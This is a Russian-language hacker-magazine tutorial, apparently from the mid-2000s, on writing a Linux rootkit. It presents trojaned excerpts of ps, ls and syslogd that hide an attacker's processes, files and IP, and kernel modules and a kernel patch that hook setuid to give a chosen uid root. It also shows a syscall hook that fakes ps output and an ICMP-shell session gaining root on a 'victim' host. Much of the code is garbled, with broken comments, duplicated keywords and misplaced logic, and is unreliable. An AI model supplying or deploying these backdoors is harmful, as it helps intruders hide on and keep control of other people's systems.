Не так давно я столкнулся с написанием
собственного руткита, ведь большая часть
руткитов палится банальными IDS, такими как
chrootkit и rkhunter. Еще сильнее мне захотелось
написать свой руткит после того, как один из
мемберов нашей команды - p4r4z!73 (привет,
кстати) - рассказал мне ужаснейшую историю:
автор SHV (shkit) внедрил в руткит функцию,
которая отсылает ему IP и пассы взломанного
сервера на котором ты установил руткит :(. Об
этом ему много кто говорил, но проверять я
ничего не стал... а.. а решил написать руткит
и попутно рассказывать об этом в статье.
Сначала мы рассмотрим подмену системных
утилит, затем, попробуем понять принцип
действия загружаемых модулей ядра Linux и
самих LKM-руткитов.
Троянизация системных утилит
Для начала давай рассмотрим троянизцию
системных утилит, а чуть позже и саму LKM-технологию,
на которые мы будем опираться далее:
Подмена системных файлов
Итак... подмена системных файлов - для чего
это надо? А надо это для обмана операционной
системы, а именно Linux'a - именно его мы будем
рассматривать. Какие системные файлы
подменяют и для чего?
ifconfig - скрывает установленный файл PROMSIC
netstat - скрытие установленных соединений
ps, top, pidof - скрытие процессов хакеров
ls,find,lsof,locate/slocate, du - скрытие файлов
tcpd - скрытие установленных соединений и
ограничений доступа
killall - делает запрет на остановку скрытых
процессов
syslogd - не разрешает логировать действия
хакера syslog'ом
и другие файлы - по своему усмотрению :)
Вот, например, SHV подменяет следующие
бинарники: dir, encrypt, find, ifconfig, login, ls, lsof, lsof, md5sum,
netstat, pg, ps, pstree, slocate, syslogd, sz, tkp, tks, tksb, top.
Также руткит должен иметь в себе функции
бэкдора - так называемый "потайной ход",
а также дополнительные программы, такие как
снифер, анализаторы пакетов и т.д. Бэкдоры и
дополнительные функции мы рассматривать НЕ
будем. Сейчас начнем с протрояниванием
системных утилит. Поехали!
Затроянивание ps
Так как в твоем будущем рутките для linux'a
будет встроенный бэкдор, то мы обязательно
должны скрыть процесс бэкдора, ибо "злой
администратор" его остановит :). Одной из
частей исходного кода утилиты ps является
сишник "readproc.c", который нам и придется
"модифицировать" к более приличному
троянскому виду.
o-//[Затрояненный
кусок readproc.c]\\-o
proc_t* ps_readproc(ProcTab* PT, proc_t, rbuf) {
next_proc: /* хватаем PID
*/
-while ((ent = readdir(PT->procfs)) &&
(*ent->dname < '0' || *ent->d_name > '9')) {}
-if (!ent || !ent->d_name)
-return NULL;
-sprintf(patn. "/proc/%s", ent->d_name);
aif (stat(path, &sb) == -1(
-goto next.proc;
- /* Протрояниваем файл
*/
- if (sb.st_uid == 1337) { /* 1337 -
идентификатор хакера */
-goto next_proc; /* алгоритм: "если
процесс запущен из под идентификатора 1337
*/
-} /* (уид хакера), то
показываем следующий процесс (пропуская
*/
/* процесс, запущенный из под
1337 уида) */
- /* Затроянили, окей ;)
*/
-if .................. и т.д и т.п
o-//[Затрояненный кусок readproc.c]\\-o
Итак, мы скрыли утилиту ps. Но есть одно НО!
Процесс всё равно будет светиться в
каталоге /proc/, но туда не особо часто
заглядывают "гениальные" админы :) Тем
более файлы в той директории можно скрыть
затрояниванием ls, find и т.д
Затроянивание ls
Не буду тут распинаться, а лишь скажу, какой
исходный код мы будем затроянивать сейчас -
ls.c - утилиты для листинга файлов. Не буду
повторяться - в сети море данных
затрояненных ls'ок, так что мы сделаем хитро.
Возможно кому-то это понадобится :)
o-//[Хитро-затрояненный
кусок ls.c]\\-o
static int file_interesting (const struct dirent *next) {
for (ignore = ignore_patterns; ignore; ignore = ignore->next)
if (fnmatch (ignore (ignore->pattern, hack->d_name, FNM_PERIOD) == 0)
return 0;
/* Протрояниваем... :)
if ( !strcmp(next->d_name. "...") ) { */ Алгоритм:
возвращаем "ненулевое" значение,*/
return 0; */ если файл в next должен
быть показан */
/* Окей ;)
if (really_all_file || hack>d_name[0] != '.' || (allfile ................ и
т.д и т.п
o-//[Хитро-затрояненный кусок
ls.c]\\-o
Мы сделали следующее... изменили функцию
file_interesting так, что при команде ls файлы и
папки с именем вида .name не будут
отображаться в листинге. Но выполнив
команду ls -a, они будут видны ;)
Затроянивание syslogd
Так как syslogd очень часто часто используется
для ведения логов - будем затроянивать
именно его. Конечно, никто не запрещает тебе
затроянивать еще и другие системы
логирования событий, но это уже твоё личное
дело. Модифицировать мы будем сишник "syslogd.c".
Приступим
o-//[Протрояненный
кусок syslogd.c]\\-o
void logmsg(intpri, char* msg, const char* form, int flags) {
/* Протрояниваем
*/
if (strstr(msg, "123.123.123.12") )
return;
/* Окей ;) */
dprintf("logmsg: %s, flags %x, from %s, msg %s\n",
textpri(pri), flags, from, msg);
msglen = strlen(msg);
....................... и т.д и т.п
o-//[Протрояненный кусок
syslogd.c]\\-o
Следующей записью мы блокируем все записи
логов syslog'ом с IP-адрессом, равным - 123.123.123.12.
Для того, чтобы затроянить syslog, надо его
удалить и поставить протрояненный бинарник.
Пока всё, остальное будешь писать сам ;)
Ядерные руткиты - технолгия LKM -
загружаемых модулей ядра
Я не хочу повторяться, а лишь советую
прочитать статью "Поиграем с туксом в
прятки" Криса Касперского, в которой он
рассказал о различных методиках
стелсирования на уровне ядра (журнал "Хакер",
номер #077 - май 2005). Наиболее опасными
руткитами являются LKM-руткиты - руткиты,
загружаемые в ОС как модули ядра. Сначала
давай разберемся, что такое "Загружаемые
модули ядра". Прежде всего, загружаемые
модули ядра (LKM - LoadAble Kernel Module) были созданы
для простоты удобства, так как в ядро Linux
будет очень неудобно добавлять новые
функции, перекомпилировать,
перезагружаться - для этого присоединяются
модули ;). Как ты уже догадался, эти модули -
ничто иное как обычные программы, которые
"улучшают" или "дополняют"
систему, но в нашем случае, это "закрепление
позиций".
Написание модулей ядра не так уж сложно,
стоит лишь включить парочку включений,
почти для каждой ветки они разные. Вот
структура модуля ядра для веток 2.4 (строки,
возле которых комментарии - обязательны):
o--// структура
модуля ядра для веток 2.4 \\-o
#define __KERNEL__ /* определить, что
это */
#define MODULE /* ядерный модуль.
обязательно */
#include <linux/module.h> /*также
обязательно, заголовочный файл модуля
*/
/* на SMP машинах:
#ifdef __SMP__
#include <linux/smp/smp_lock.h>
#endif
(чуть не забыл написать) /*
/*............... покоцано ................
.*
/* следующая функция init_module( )
также ОБЯЗАТЕЛЬНА - она */
/* говорит, что будет
делаться при загрузке модуля */
int init_module( )
{
/* Что будем делать при
загрузке модуля /*
}
/* следующая функция cleanup_module(
) также ОБЯЗАТЕЛЬНА - она */
/* говорит, что будет
делаться при выгрузке модуля
*/
int cleanup_module( )
{
/* Что будем делать при
выгрузке модуля /*
return 0;
}
/* Далее лицензия.
Обязательно /*
MODULE_LICENSE("ЛИЦЕНЗИЯ, например, GPL");
o-// структура модуля ядра
для веток 2.4 \\-o
Теперь давай рассмотрим реальный пример
модуля, который, возможно, понадобится тебе
при написании ТуксКит'а или еще чего-то,
который будет делать следующее. Он будет
перехватывать системный вызов systemuid(), и
если идентификатор пользователя будет
равен 31337, то ему присваивается uid равный
нулю (уид суперпользователя - root'a), тем самым
пользователь с uid'ом = 31337 сможет выполнять
команды из под учетной записи root. Очень
полезная вещь:
o-// uid_changer backdoor \\-o
#define __KERNEL__
#define MODULE
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>
int new_setuid(uid_t);
int (*real_setuid) (uid_t);
extern void *sys_call_table[];
int init_module ()
{
register struct module *mp asm("$ebx");
*(char *) (mp->name) = 'd'; *char(char *) (mp->name+1) = 's';
*(char *) (mp->name+2) = '2'; *char(char *) (mp->name+3)= '\0';
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}
int int cleanup_module()
{
if (uid == 31337 )
{
current->uid=0; current->gid=0;
current->euid=0; current->egid=0
return 0;
}
return (*real_setuid) (uid);
}
MODULE_LICENSE("GPL");
o-// uid_changer backdoor \\-o
Структура модуля ядра для ветки 2.6 немного
другая, но суть от этого не меняется:
o-// структура модуля ядра для
веток 2.6 \\-o
#ifdef LINUX26
static int __init tooxkit_init()
#else
int init_module()
#endif
#ifdef LINUX 26
static void __exit tooxkit_cleanup()
#else
int init_module()
#endif
#ifdef LINUX26
module_init(tooxkit_init);
module_exit(tooxkit_cleanup);
#endif
o-// структура модуля ядра для веток 2.6 \\-o
Давай рассмотрим команды, которые нам понадобятся для LKM.
gcc -c tooxkit.c -o tooxkit.o
Откомпилировали, теперь подключаем..
- insmod
Загрузить модуль в систему.
rootkit# insmod tooxkit.o
Загрузили ранее откомпиленный модуль...
- lsmod
Данная команда показывает подключенные модули ядра:
rootkit# lsmod
Module |
Size |
Used_ by |
tooxkit |
31337 |
0 |
processor |
9008 |
0 |
.... |
.... |
.... |
Итак, мы увидели три колонки "Module", "Size" и "Used by" -
"Название модуля", "Размер", "Кем используется". Все, в приницпе, ясно.
tooxkit - палевный LKM-руткит, запущенный из под root'a (нулевой уид) с
размером 31337.
- rmmod
Данная команда выгружает модули ядра
rootkit# rnmod tooxkit
C подключениями/отключениями/и т.д. модулей ядра мы разобрались. Пока
мы с тобой баловались с протрояниванием системных бинарников, я решил
рассказть о более продвинутом обмане ОС на уровне ядра. Мы будем
перехватывать системные вызовы к различным программам типа
ls, ps, netstat и т.д. - администратору придется изрядно попотеть,
чтобы обнаружить вторжение в систему.
Ядерные руткиты работают по принципу:
- подгрузить свой модуль
- перехватить системный вызов пользователя
- не показывать юзеру то, что мы пытаемся скрыть,
в том числе и сам руткитовый модуль
А теперь поясню более популярно. Вот, например, администратор
заподозрил что-то неладное, поэтому решил пошарить в системе (нами был
установлен процесс "tooxkit", который мы удачно скрыли перехватом).
Мы написали LKM, который перехватывает системные вызовы ко всем важным
командам (включая ps). Админ отдал команду ps, но в списке процессов
все было чисто - процесс "tooxkit" не был обнаружен.
Простейшую технику перехвата системных вызовов можно прочитать в статье "Weakening the Linux Kernel" - во Phrack'e, номер #54.
Рутовая лазейка
Чуть выше мы с тобой троянили ps, но процесс оставался
видимым в каталоге /proc. Сейчас я приведу несколько примеров
троянизации ядра, которые будут предоставлять нам доступ к командному
интерпретатору с
привилегиями root, а также троянизацию некоторых системных утилит путем
системных перехватов. Начнем с root-лазейки, которая изменит вызов
sys_setuid до setuid(0) пользователю с уидом равным 1337, дав ему
определенные возможности во взломанной системе. Изменения будут
происходить в самом ядре - модифицируем sys.c, а именно функцию
sys_setuid, которая отвечает за "раздачу
привилегий".
o-// лазейка к root-привелегиям
\\-o
asmlinkage int sys_setuid*uid_t uid)
{
int old_euid = current ->euid;
int old_ruid, old_suid, new_ruid;
old_ruid = new_ruid = currnet ->uid
old_suid = currnet->suid;
/* Начинаем троянизировать ядро /*
if (current->euid == 1337)
new_ruid = current->euid = current -> suid = current ->fsuid = uid;
/* Окей... ;) /*
else if *capavle(CAP_SETUID))
........... и т.д и т.п...........
o-// лазейка к root-привелегим \\-o
Еще одну лазейку, только LKM мы рассматривали выше.
Процессы
Теперь давай скроем процессы... Скрывать мы будем перехватом системных вызовов - запросы к ps будут передаваться
совершенно левой функции tooxkit'a. Немного полазив в
Интернете в поиске информации о перехвате запросов, я нашел интересный и подходящий код, который выдавал фейк информацию о ps:
o-// перехват запросов к ps
\\-o
Linux Kernel Module
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
/* linux ps fake utility.
*
* if fake ps doesn't work, try below SYS_CALLS
*
* 1. SYS_rt_sigaction
* 2. SYS_rt_sigprocmask
* 3. SYS_clone
*
* the main hook function is fakepid(); this function try to
* hook SYS_call = SYS_waitpid, then programm print some inte
* resting message to the screen :)
*
* (c) by stan [unl0ck team] 2004
*/
extern void *sys_call_table[]; /* указываем на таблицу системных вызовов
/*
int (*origpid)(const char *path);
int fakepid(const char *path)
{
printk(«No proccess found!»); /* при обращении к утилите ps, она выводит, что процессов в системе нет как таковых
/*
return 0;
}
int init_module(void) /* что будем делать при загрузке модуля
/*
{
origpid = sys_call_table[SYS_waitpid];
sys_call_table[SYS_waitpid] = fakepid;
printk(«Module successfully loaded!»);
return(0);
}
void cleanup_module(void) /* что будем делать при выгрузке модуля /*
{
sys_call_table[SYS_waitpid] = origpid;
printk(«Module successfully unloaded!»);
}
o-// перехват запросов к ps
\\-o
Прочитав внимательно исходник ты поймешь принцип перехватов.
Скрыв локально соединение, я чуть не забыл про удаленное... Ведь
администратор может просто просканировать свою систему nmap'ом или
другим сетевым сканером. Для этого удобнее всего использовать
низкоуровневые сокеты - RAW-sockets, например, при
отсылке определенного пакета бэкдор в систему будет открываться, но это
я разжевывать не буду, лишь покажу очень удобный пример получения
рут-шелла с помощью ICMP-пакетов и программы ICMP-shell:
ICMP-shell manual
Во-первых, программа работает при помощи протокола ICMP (ну
естественно), в ICMP-пакеты "втуливаются" наши команды, а серверная
часть их обрабатывает и выполняет. Это достаточно удобно, так как
ICMP-пакеты почти всегда обрабатываются сервером (конечно, если файрвол
не режет все icmp-пакеты):
Как это выглядит на практике:
// Запускаем ICMP-shell на сервере c
привилегиями root, так как он использует RAW-сокеты.
server# ishd -i 31337 -t 8
// Запустили. идентификатор - 31337, тип ICMP-пакета - 8 (echo). Идентификатор нужен
// для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.
// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org...done.
// Узнаем, "кто мы":
#whoami
root
Заключение
Я рассказал тебе достаточно много из того, что даст тебе возможность
написать свой собственный руткит (естественно, со знаниями
Си). Еще раз скажу - я не хотел повторяться, так как в статье Форба
(журнал "Xakep", номер #069 - статья "Вооружись своим руткитом") и
Криса Касперского (журнал "Хакер", номер #077 - статья "Поиграем с
туксом в прятки") написано достаточно - обход проблем с файрволом,
маскировка твоего соединения при помощи net toolz, скрытие процессов,
встройка бэкдора, стелсирование на уровне ядра. Вот и все
мои дополнения, которыми я хотел с тобой поделиться. Также я
настоятельно не рекомендую писать руткит методом "Copy & Paste",
так как это будет "лол-руткит", так что для завершения идеи написания
руткита тебе придется хоть немного пошевелить мозгами, разобраться с
написанием модулей, а также полистать
дополнительную литературу, которую я привел ниже :). Буду рад, если моя
статья кому-то действительно помогла :).
Дополнительная литература
Дополнительная литература про написание руткитов и их обзора:
Выбери свой руткит (обзор *nix-руткитов)
|Автор: Forb| журнал "Xakep", номер #069 http://www.xakep.ru/articles/magazine/2004.asp
Вооружись своим руткитом (написание Linux-руткита)
|Автор: Forb| журнал "Хакер", номер #071 http://www.xakep.ru/articles/magazine/2004.asp
Поиграем с туксом в прятки (стелс-технолгии на уровне ядра в Linux)
|Автор: Крис Касперски| журнал "Хакер", номер #077
http://www.xakep.ru/articles/magazine/2005.asp
Системный маскарад (написание простейшего руткита на perl)
|Автор: Юрий Гольцев| журнал "Хакер", номер #080
http://www.xakep.ru/articles/magazine/2005.asp
Кошмарное ПО (обзор руткитов для windows)
|Автор: Петя и Волк | журнал "Хакер" номер #077
http://www.xakep.ru/articles/magazine/2005.asp
Затроянивание sshd - I и II часть (название говорит само за себя)
|Автор: Satir| Cyber Lords Community http://cyberlords.net/
Attacking OpenBSD with LKM - I и II часть (написание LKM-руткитов под OpenBSD)
|Автор: __blf| Rush Security Team http://rst.void.ru/
Weakening the Linux Kernel (методы стелсирования на уровне ядра, лазейка в ядрах)
|Автор: Solar Disigner| e-zine "Phrack", номер #54 http://phrack.org/
и другие номера phrack'a - самый истинно-хакерский e-zine! ;)
Ссылки по теме:
http://rootkit.com/ - огромная коллекция троянов, руткитов и прочих вкусностей...
http://linux.kernel.org/ - исходные коды ядра Linux'a
http://peter.elukc.com/code/unix/c/icmp-shell/
- программа ICMP-шелл, которую мы упоминали в статье.
http://google.ru/ - без комментариев ;))
|